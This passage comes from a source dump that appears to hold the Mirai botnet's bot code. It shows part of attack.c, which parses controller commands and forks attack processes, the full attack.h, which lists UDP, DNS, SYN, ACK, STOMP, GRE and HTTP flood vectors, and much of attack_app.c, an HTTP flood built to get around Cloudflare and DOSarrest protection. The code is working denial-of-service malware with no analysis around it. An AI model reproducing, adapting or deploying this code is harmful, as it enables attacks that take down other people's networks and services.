0)\n        goto cleanup;\n    vector = (ATTACK_VECTOR)*buf++;\n    len -= sizeof (uint8_t);\n\n    // Read in target count uint8_t\n    if (len == 0)\n        goto cleanup;\n    targs_len = (uint8_t)*buf++;\n    len -= sizeof (uint8_t);\n    if (targs_len == 0)\n        goto cleanup;\n\n    // Read in all targs\n    if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))\n        goto cleanup;\n    targs = calloc(targs_len, sizeof (struct attack_target));\n    for (i = 0; i < targs_len; i++)\n    {\n        targs[i].addr = *((ipv4_t *)buf);\n        buf += sizeof (ipv4_t);\n        targs[i].netmask = (uint8_t)*buf++;\n        len -= (sizeof (ipv4_t) + sizeof (uint8_t));\n\n        targs[i].sock_addr.sin_family = AF_INET;\n        targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;\n    }\n\n    // Read in flag count uint8_t\n    if (len < sizeof (uint8_t))\n        goto cleanup;\n    opts_len = (uint8_t)*buf++;\n    len -= sizeof (uint8_t);\n\n    // Read in all opts\n    if (opts_len > 0)\n    {\n        opts = calloc(opts_len, sizeof (struct attack_option));\n        for (i = 0; i < opts_len; i++)\n        {\n            uint8_t val_len;\n\n            // Read in key uint8\n            if (len < sizeof (uint8_t))\n                goto cleanup;\n            opts[i].key = (uint8_t)*buf++;\n            len -= sizeof (uint8_t);\n\n            // Read in data length uint8\n            if (len < sizeof (uint8_t))\n                goto cleanup;\n            val_len = (uint8_t)*buf++;\n            len -= sizeof (uint8_t);\n\n            if (len < val_len)\n                goto cleanup;\n            opts[i].val = calloc(val_len + 1, sizeof (char));\n            util_memcpy(opts[i].val, buf, val_len);\n            buf += val_len;\n            len -= val_len;\n        }\n    }\n\n    errno = 0;\n    attack_start(duration, vector, targs_len, targs, opts_len, opts);\n\n    // Cleanup\n    cleanup:\n    if (targs != NULL)\n        free(targs);\n    if (opts != NULL)\n        free_opts(opts, opts_len);\n}\n\nvoid attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int pid1, pid2;\n\n    pid1 = fork();\n    if (pid1 == -1 || pid1 > 0)\n        return;\n\n    pid2 = fork();\n    if (pid2 == -1)\n        exit(0);\n    else if (pid2 == 0)\n    {\n        sleep(duration);\n        kill(getppid(), 9);\n        exit(0);\n    }\n    else\n    {\n        int i;\n\n        for (i = 0; i < methods_len; i++)\n        {\n            if (methods[i]->vector == vector)\n            {\n#ifdef DEBUG\n                printf(\"[attack] Starting attack...\\n\");\n#endif\n                methods[i]->func(targs_len, targs, opts_len, opts);\n                break;\n            }\n        }\n\n        //just bail if the function returns\n        exit(0);\n    }\n}\n\nchar *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)\n{\n    int i;\n\n    for (i = 0; i < opts_len; i++)\n    {\n        if (opts[i].key == opt)\n            return opts[i].val;\n    }\n\n    return def;\n}\n\nint attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)\n{\n    char *val = attack_get_opt_str(opts_len, opts, opt, NULL);\n\n    if (val == NULL)\n        return def;\n    else\n        return util_atoi(val, 10);\n}\n\nuint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)\n{\n    char *val = attack_get_opt_str(opts_len, opts, opt, NULL);\n\n    if (val == NULL)\n        return def;\n    else\n        return inet_addr(val);\n}\n\nstatic void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)\n{\n    struct attack_method *method = calloc(1, sizeof (struct attack_method));\n\n    method->vector = vector;\n    method->func = func;\n\n    methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));\n    methods[methods_len++] = method;\n}\n\nstatic void free_opts(struct attack_option *opts, int len)\n{\n    int i;\n\n    if (opts == NULL)\n        return;\n\n    for (i = 0; i < len; i++)\n    {\n        if (opts[i].val != NULL)\n            free(opts[i].val);\n    }\n    free(opts);\n}\n"
  },
  {
    "path": "mirai/bot/attack.h",
    "content": "#pragma once\n\n#include <time.h>\n#include <arpa/inet.h>\n#include <linux/ip.h>\n#include <linux/udp.h>\n#include <linux/tcp.h>\n\n#include \"includes.h\"\n#include \"protocol.h\"\n\n#define ATTACK_CONCURRENT_MAX   8\n\n#ifdef DEBUG\n#define HTTP_CONNECTION_MAX     1000\n#else\n#define HTTP_CONNECTION_MAX     256\n#endif\n\nstruct attack_target {\n    struct sockaddr_in sock_addr;\n    ipv4_t addr;\n    uint8_t netmask;\n};\n\nstruct attack_option {\n    char *val;\n    uint8_t key;\n};\n\ntypedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);\ntypedef uint8_t ATTACK_VECTOR;\n\n#define ATK_VEC_UDP        0  /* Straight up UDP flood */\n#define ATK_VEC_VSE        1  /* Valve Source Engine query flood */\n#define ATK_VEC_DNS        2  /* DNS water torture */\n#define ATK_VEC_SYN        3  /* SYN flood with options */\n#define ATK_VEC_ACK        4  /* ACK flood */\n#define ATK_VEC_STOMP      5  /* ACK flood to bypass mitigation devices */\n#define ATK_VEC_GREIP      6  /* GRE IP flood */\n#define ATK_VEC_GREETH     7  /* GRE Ethernet flood */\n//#define ATK_VEC_PROXY      8  /* Proxy knockback connection */\n#define ATK_VEC_UDP_PLAIN  9  /* Plain UDP flood optimized for speed */\n#define ATK_VEC_HTTP       10 /* HTTP layer 7 flood */\n\n#define ATK_OPT_PAYLOAD_SIZE    0   // What should the size of the packet data be?\n#define ATK_OPT_PAYLOAD_RAND    1   // Should we randomize the packet data contents?\n#define ATK_OPT_IP_TOS          2   // tos field in IP header\n#define ATK_OPT_IP_IDENT        3   // ident field in IP header\n#define ATK_OPT_IP_TTL          4   // ttl field in IP header\n#define ATK_OPT_IP_DF           5   // Dont-Fragment bit set\n#define ATK_OPT_SPORT           6   // Should we force a source port? (0 = random)\n#define ATK_OPT_DPORT           7   // Should we force a dest port? (0 = random)\n#define ATK_OPT_DOMAIN          8   // Domain name for DNS attack\n#define ATK_OPT_DNS_HDR_ID      9   // Domain name header ID\n//#define ATK_OPT_TCPCC           10  // TCP congestion control\n#define ATK_OPT_URG             11  // TCP URG header flag\n#define ATK_OPT_ACK             12  // TCP ACK header flag\n#define ATK_OPT_PSH             13  // TCP PSH header flag\n#define ATK_OPT_RST             14  // TCP RST header flag\n#define ATK_OPT_SYN             15  // TCP SYN header flag\n#define ATK_OPT_FIN             16  // TCP FIN header flag\n#define ATK_OPT_SEQRND          17  // Should we force the sequence number? (TCP only)\n#define ATK_OPT_ACKRND          18  // Should we force the ack number? (TCP only)\n#define ATK_OPT_GRE_CONSTIP     19  // Should the encapsulated destination address be the same as the target?\n#define ATK_OPT_METHOD\t\t\t20\t// Method for HTTP flood\n#define ATK_OPT_POST_DATA\t\t21\t// Any data to be posted with HTTP flood\n#define ATK_OPT_PATH            22  // The path for the HTTP flood\n#define ATK_OPT_HTTPS           23  // Is this URL SSL/HTTPS?\n#define ATK_OPT_CONNS           24  // Number of sockets to use\n#define ATK_OPT_SOURCE          25  // Source IP\n\nstruct attack_method {\n    ATTACK_FUNC func;\n    ATTACK_VECTOR vector;\n};\n\nstruct attack_stomp_data {\n    ipv4_t addr;\n    uint32_t seq, ack_seq;\n    port_t sport, dport;\n};\n\n#define HTTP_CONN_INIT          0 // Inital state\n#define HTTP_CONN_RESTART       1 // Scheduled to restart connection next spin\n#define HTTP_CONN_CONNECTING    2 // Waiting for it to connect\n#define HTTP_CONN_HTTPS_STUFF   3 // Handle any needed HTTPS stuff such as negotiation\n#define HTTP_CONN_SEND          4 // Sending HTTP request\n#define HTTP_CONN_SEND_HEADERS  5 // Send HTTP headers \n#define HTTP_CONN_RECV_HEADER   6 // Get HTTP headers and check for things like location or cookies etc\n#define HTTP_CONN_RECV_BODY     7 // Get HTTP body and check for cf iaua mode\n#define HTTP_CONN_SEND_JUNK\t\t8 // Send as much data as possible\n#define HTTP_CONN_SNDBUF_WAIT   9 // Wait for socket to be available to be written to\n#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data.\n#define HTTP_CONN_CLOSED        11 // Close connection and move on\n\n#define HTTP_RDBUF_SIZE         1024\n#define HTTP_HACK_DRAIN         64\n#define HTTP_PATH_MAX           256\n#define HTTP_DOMAIN_MAX         128\n#define HTTP_COOKIE_MAX         5   // no more then 5 tracked cookies\n#define HTTP_COOKIE_LEN_MAX     128 // max cookie len\n#define HTTP_POST_MAX           512 // max post data len\n\n#define HTTP_PROT_DOSARREST     1 // Server: DOSarrest\n#define HTTP_PROT_CLOUDFLARE    2 // Server: cloudflare-nginx\n\nstruct attack_http_state {\n    int fd;\n    uint8_t state;\n    int last_recv;\n    int last_send;\n    ipv4_t dst_addr;\n    char user_agent[512];\n    char path[HTTP_PATH_MAX + 1];\n    char domain[HTTP_DOMAIN_MAX + 1];\n    char postdata[HTTP_POST_MAX + 1];\n    char method[9];\n    char orig_method[9];\n\n    int protection_type;\n\n    int keepalive;\n    int chunked;\n    int content_length;\n\n    int num_cookies;\n    char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX];\n\n    int rdbuf_pos;\n    char rdbuf[HTTP_RDBUF_SIZE];\n};\n\nstruct attack_cfnull_state {\n    int fd;\n    uint8_t state;\n    int last_recv;\n    int last_send;\n    ipv4_t dst_addr;\n    char user_agent[512];\n    char domain[HTTP_DOMAIN_MAX + 1];\n    int to_send;\n};\n\nBOOL attack_init(void);\nvoid attack_kill_all(void);\nvoid attack_parse(char *, int);\nvoid attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nchar *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *);\nint attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int);\nuint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t);\n\n/* Actual attacks */\nvoid attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\n\nvoid attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\n\nvoid attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\n\nvoid attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\nvoid attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);\n\nstatic void add_attack(ATTACK_VECTOR, ATTACK_FUNC);\nstatic void free_opts(struct attack_option *, int);\n"
  },
  {
    "path": "mirai/bot/attack_app.c",
    "content": "#define _GNU_SOURCE\n\n#ifdef DEBUG\n#include <stdio.h>\n#endif\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/socket.h>\n#include <sys/select.h>\n#include <errno.h>\n#include <string.h>\n#include <fcntl.h>\n\n#include \"includes.h\"\n#include \"attack.h\"\n#include \"rand.h\"\n#include \"table.h\"\n#include \"util.h\"\n\nvoid attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n\n}\n\n\nvoid attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)\n{\n    int i, ii, rfd, ret = 0;\n    struct attack_http_state *http_table = NULL;\n    char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL);\n    char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, \"GET\");\n    char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);\n    char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, \"/\");\n    int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);\n    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80);\n\n    char generic_memes[10241] = {0};\n\n    if (domain == NULL || path == NULL)\n        return;\n\n    if (util_strlen(path) > HTTP_PATH_MAX - 1)\n        return;\n\n    if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)\n        return;\n\n    if (util_strlen(method) > 9)\n        return;\n\n    // BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING?\n    // yes it would segfault but we only update the values if they are not already uppercase.\n    // if the method is lowercase and its passed from the CNC we can update that memory no problem\n    for (ii = 0; ii < util_strlen(method); ii++)\n        if (method[ii] >= 'a' && method[ii] <= 'z')\n            method[ii] -= 32;\n\n    if (sockets > HTTP_CONNECTION_MAX)\n        sockets = HTTP_CONNECTION_MAX;\n\n    // unlock frequently used strings\n    table_unlock_val(TABLE_ATK_SET_COOKIE);\n    table_unlock_val(TABLE_ATK_REFRESH_HDR);\n    table_unlock_val(TABLE_ATK_LOCATION_HDR);\n    table_unlock_val(TABLE_ATK_SET_COOKIE_HDR);\n    table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR);\n    table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);\n    table_unlock_val(TABLE_ATK_CHUNKED);\n    table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR);\n    table_unlock_val(TABLE_ATK_CONNECTION_HDR);\n    table_unlock_val(TABLE_ATK_DOSARREST);\n    table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX);\n\n    http_table = calloc(sockets, sizeof(struct attack_http_state));\n\n    for (i = 0; i < sockets; i++)\n    {\n        http_table[i].state = HTTP_CONN_INIT;\n        http_table[i].fd = -1;\n        http_table[i].dst_addr = targs[i % targs_len].addr;\n\n        util_strcpy(http_table[i].path, path);\n\n        if (http_table[i].path[0] != '/')\n        {\n            memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path));\n            http_table[i].path[0] = '/';\n        }\n\n        util_strcpy(http_table[i].orig_method, method);\n        util_strcpy(http_table[i].method, method);\n\n        util_strcpy(http_table[i].domain, domain);\n\n        if (targs[i % targs_len].netmask < 32)\n            http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));\n\n        switch(rand_next() % 5)\n        {\n            case 0:\n                table_unlock_val(TABLE_HTTP_ONE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));\n                table_lock_val(TABLE_HTTP_ONE);\n                break;\n            case 1:\n                table_unlock_val(TABLE_HTTP_TWO);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));\n                table_lock_val(TABLE_HTTP_TWO);\n                break;\n            case 2:\n                table_unlock_val(TABLE_HTTP_THREE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));\n                table_lock_val(TABLE_HTTP_THREE);\n                break;\n            case 3:\n                table_unlock_val(TABLE_HTTP_FOUR);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));\n                table_lock_val(TABLE_HTTP_FOUR);\n                break;\n            case 4:\n                table_unlock_val(TABLE_HTTP_FIVE);\n                util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));\n                table_lock_val(TABLE_HTTP_FIVE);\n                break;\n        }\n\n        util_strcpy(http_table[i].path, path);\n    }\n\n    while(TRUE)\n    {\n        fd_set fdset_rd, fdset_wr;\n        int mfd = 0, nfds;\n        struct timeval tim;\n        struct attack_http_state *conn;\n        uint32_t fake_time = time(NULL);\n\n        FD_ZERO(&fdset_rd);\n        FD_ZERO(&fdset_wr);\n\n        for (i = 0; i < sockets; i++)\n        {\n            conn = &(http_table[i]);\n\n            if (conn->state == HTTP_CONN_RESTART)\n            {\n                if (conn->keepalive)\n                    conn->state = HTTP_CONN_SEND;\n                else\n                    conn->state = HTTP_CONN_INIT;\n            }\n\n            if (conn->state == HTTP_CONN_INIT)\n            {\n                struct sockaddr_in addr = {0};\n\n                if (conn->fd != -1)\n                    close(conn->fd);\n                if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n                    continue;\n\n                fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));\n\n                ii = 65535;\n                setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));\n\n                addr.sin_family = AF_INET;\n                addr.sin_addr.s_addr = conn->dst_addr;\n                addr.sin_port = htons(dport);\n\n                conn->last_recv = fake_time;\n                conn->state = HTTP_CONN_CONNECTING;\n                connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n#ifdef DEBUG\n                printf(\"[http flood] fd%d started connect\\n\", conn->fd);\n#endif\n\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_CONNECTING)\n            {\n                if (fake_time - conn->last_recv > 30)\n                {\n                    conn->state = HTTP_CONN_INIT;\n                    close(conn->fd);\n                    conn->fd = -1;\n                    continue;\n                }\n\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_SEND)\n            {\n                conn->content_length = -1; \n                conn->protection_type = 0;\n                util_zero(conn->rdbuf, HTTP_RDBUF_SIZE);\n                conn->rdbuf_pos = 0;\n\n#ifdef DEBUG\n                //printf(\"[http flood] Sending http request\\n\");\n#endif\n\n                char buf[10240];\n                util_zero(buf, 10240);\n\n                util_strcpy(buf + util_strlen(buf), conn->method);\n                util_strcpy(buf + util_strlen(buf), \" \");\n                util_strcpy(buf + util_strlen(buf), conn->path);\n                util_strcpy(buf + util_strlen(buf), \" HTTP/1.1\\r\\nUser-Agent: \");\n                util_strcpy(buf + util_strlen(buf), conn->user_agent);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\nHost: \");\n                util_strcpy(buf + util_strlen(buf), conn->domain);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_KEEP_ALIVE);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));\n                table_lock_val(TABLE_ATK_KEEP_ALIVE);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_ACCEPT);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));\n                table_lock_val(TABLE_ATK_ACCEPT);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                table_unlock_val(TABLE_ATK_ACCEPT_LNG);\n                util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));\n                table_lock_val(TABLE_ATK_ACCEPT_LNG);\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                if (postdata != NULL)\n                {\n                    table_unlock_val(TABLE_ATK_CONTENT_TYPE);\n                    util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));\n                    table_lock_val(TABLE_ATK_CONTENT_TYPE);\n\n                    util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n                    util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));\n                    util_strcpy(buf + util_strlen(buf), \" \");\n                    util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf));\n                    util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n                }\n\n                if (conn->num_cookies > 0)\n                {\n                    util_strcpy(buf + util_strlen(buf), \"Cookie: \");\n                    for (ii = 0; ii < conn->num_cookies; ii++)\n                    {\n                        util_strcpy(buf + util_strlen(buf), conn->cookies[ii]);\n                        util_strcpy(buf + util_strlen(buf), \"; \");\n                    }\n                    util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n                }\n\n                util_strcpy(buf + util_strlen(buf), \"\\r\\n\");\n\n                if (postdata != NULL)\n                    util_strcpy(buf + util_strlen(buf), postdata);\n\n                if (!util_strcmp(conn->method, conn->orig_method))\n                    util_strcpy(conn->method, conn->orig_method);\n\n#ifdef DEBUG\n                if (sockets == 1)\n                {\n                    printf(\"sending buf: \\\"%s\\\"\\n\", buf);\n                }\n#endif\n\n                send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);\n                conn->last_send = fake_time;\n\n                conn->state = HTTP_CONN_RECV_HEADER;\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_RECV_HEADER)\n            {\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_RECV_BODY)\n            {\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_QUEUE_RESTART)\n            {\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd)\n                    mfd = conn->fd + 1;\n            }\n            else if (conn->state == HTTP_CONN_CLOSED)\n            {\n                conn->state = HTTP_CONN_INIT;\n                close(conn->fd);\n                conn->fd = -1;\n            }\n            else\n            {\n                // NEW STATE WHO DIS\n                conn->state = HTTP_CONN_INIT;\n                close(conn->fd);\n                conn->fd = -1;\n            }\n        }\n\n        if (mfd == 0)\n            continue;\n\n        tim.tv_usec = 0;\n        tim.tv_sec = 1;\n        nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);\n        fake_time = time(NULL);\n\n        if (nfds < 1)\n            continue;\n\n        for (i = 0; i < sockets; i++)\n        {\n            conn = &(http_table[i]);\n\n            if (conn->fd == -1)\n                continue;\n\n            if (FD_ISSET(conn->fd, &fdset_wr))\n            {\n                int err = 0;\n                socklen_t err_len = sizeof (err);\n\n                ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);\n                if (err == 0 && ret == 0)\n                {\n#ifdef DEBUG\n                    printf(\"[http flood] FD%d connected.\\n\", conn->fd);\n#endif\n                        conn->state = HTTP_CONN_SEND;\n                }\n                else\n                {\n#ifdef DEBUG\n                    printf(\"[http flood] FD%d error while connecting = %d\\n\", conn->fd, err);\n#endif\n                    close(conn->fd);\n                    conn->fd = -1;\n                    conn->state = HTTP_CONN_INIT;\n                    continue;\n                }\n            }\n\n        if (FD_ISSET(conn->fd, &fdset_rd))\n            {\n                if (conn->state == HTTP_CONN_RECV_HEADER)\n                {\n                    int processed = 0;\n\n                    util_zero(generic_memes, 10240);\n                    if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1)\n                    {\n                        close(conn->fd);\n                        conn->fd = -1;\n                        conn->state = HTTP_CONN_INIT;\n                        continue;\n                    }\n\n\n                    // we want to process a full http header (^:\n                    if (util_memsearch(generic_memes, ret, \"\\r\\n\\r\\n\", 4) == -1 && ret < 10240)\n                        continue;\n\n                    generic_memes[util_memsearch(generic_memes, ret, \"\\r\\n\\r\\n\", 4)] = 0;\n\n#ifdef DEBUG\n                    if (sockets == 1)\n                        printf(\"[http flood] headers: \\\"%s\\\"\\n\", generic_memes);\n#endif\n\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1)\n                        conn->protection_type = HTTP_PROT_CLOUDFLARE;\n\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1)\n                        conn->protection_type = HTTP_PROT_DOSARREST;\n\n                    conn->keepalive = 0;\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1)\n                    {\n                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL));\n                        if (generic_memes[offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *con_ptr = &(generic_memes[offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n                            generic_memes[offset + nl_off] = 0;\n\n                            if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL)))\n                                conn->keepalive = 1;\n                        }\n                    }\n\n                    conn->chunked = 0;\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1)\n                    {\n                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL));\n                        if (generic_memes[offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *con_ptr = &(generic_memes[offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n                            generic_memes[offset + nl_off] = 0;\n\n                            if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)))\n                                conn->chunked = 1;\n                        }\n                    }\n\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1)\n                    {\n                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));\n                        if (generic_memes[offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *len_ptr = &(generic_memes[offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n                            generic_memes[offset + nl_off] = 0;\n\n                            conn->content_length = util_atoi(len_ptr, 10);\n                        }\n                    } else {\n                        conn->content_length = 0;\n                    }\n\n                    processed = 0;\n                    while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX)\n                    {\n                        int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL));\n                        if (generic_memes[processed + offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *cookie_ptr = &(generic_memes[processed + offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n\n                            if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, \";\", 1) > 0)\n                                nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, \";\", 1) - 1;\n\n                            generic_memes[processed + offset + nl_off] = 0;\n\n                            for (ii = 0; ii < util_strlen(cookie_ptr); ii++)\n                                if (cookie_ptr[ii] == '=')\n                                    break;\n\n                            if (cookie_ptr[ii] == '=')\n                            {\n                                int equal_off = ii, cookie_exists = FALSE;\n\n                                for (ii = 0; ii < conn->num_cookies; ii++)\n                                    if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off))\n                                    {\n                                        cookie_exists = TRUE;\n                                        break;\n                                    }\n\n                                if (!cookie_exists)\n                                {\n                                    if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX)\n                                    {\n                                        util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr);\n                                        conn->num_cookies++;\n                                    }\n                                }\n                            }\n                        }\n\n                        processed += offset;\n                    }\n\n                    // this will still work as previous handlers will only add in null chars or similar\n                    // and we specify the size of the string to stristr\n                    if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1)\n                    {\n                        int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL));\n                        if (generic_memes[offset] == ' ')\n                            offset++;\n\n                        int nl_off = util_memsearch(generic_memes + offset, ret - offset, \"\\r\\n\", 2);\n                        if (nl_off != -1)\n                        {\n                            char *loc_ptr = &(generic_memes[offset]);\n\n                            if (nl_off >= 2)\n                                nl_off -= 2;\n                            generic_memes[offset + nl_off] = 0;\n\n                            //increment it one so that it is length of the string excluding null char instead of 0-based offset\n                            nl_off++;\n\n                            if (util_memsearch(loc_ptr, nl_off, \"http\", 4) == 4)\n                            {\n                                //this is an absolute url, domain name change maybe?\n                                ii = 7;\n                                //http(s)\n                                if (loc_ptr[4] == 's')\n                                    ii++;\n\n                                memmove(loc_ptr, loc_ptr + ii, nl_off - ii);\n                                ii = 0;\n                                while (loc_ptr[ii] != 0)\n                                {\n                                    if (loc_ptr[ii] == '/')\n                                    {\n                                        loc_ptr[ii] = 0;\n                                        break;\n                                    }\n                                    ii++;\n                                }\n\n                                // domain: loc_ptr;\n                                // path: &(loc_ptr[ii + 1]);\n\n                                if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX)\n                                    util_strcpy(conn->domain, loc_ptr);\n\n                                if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX)\n                                {\n                                    util_zero(conn->path + 1, HTTP_PATH_MAX - 1);\n                                    if (util_strlen(&(loc_ptr[ii + 1])) > 0)\n                                        util_strcpy(conn->path + 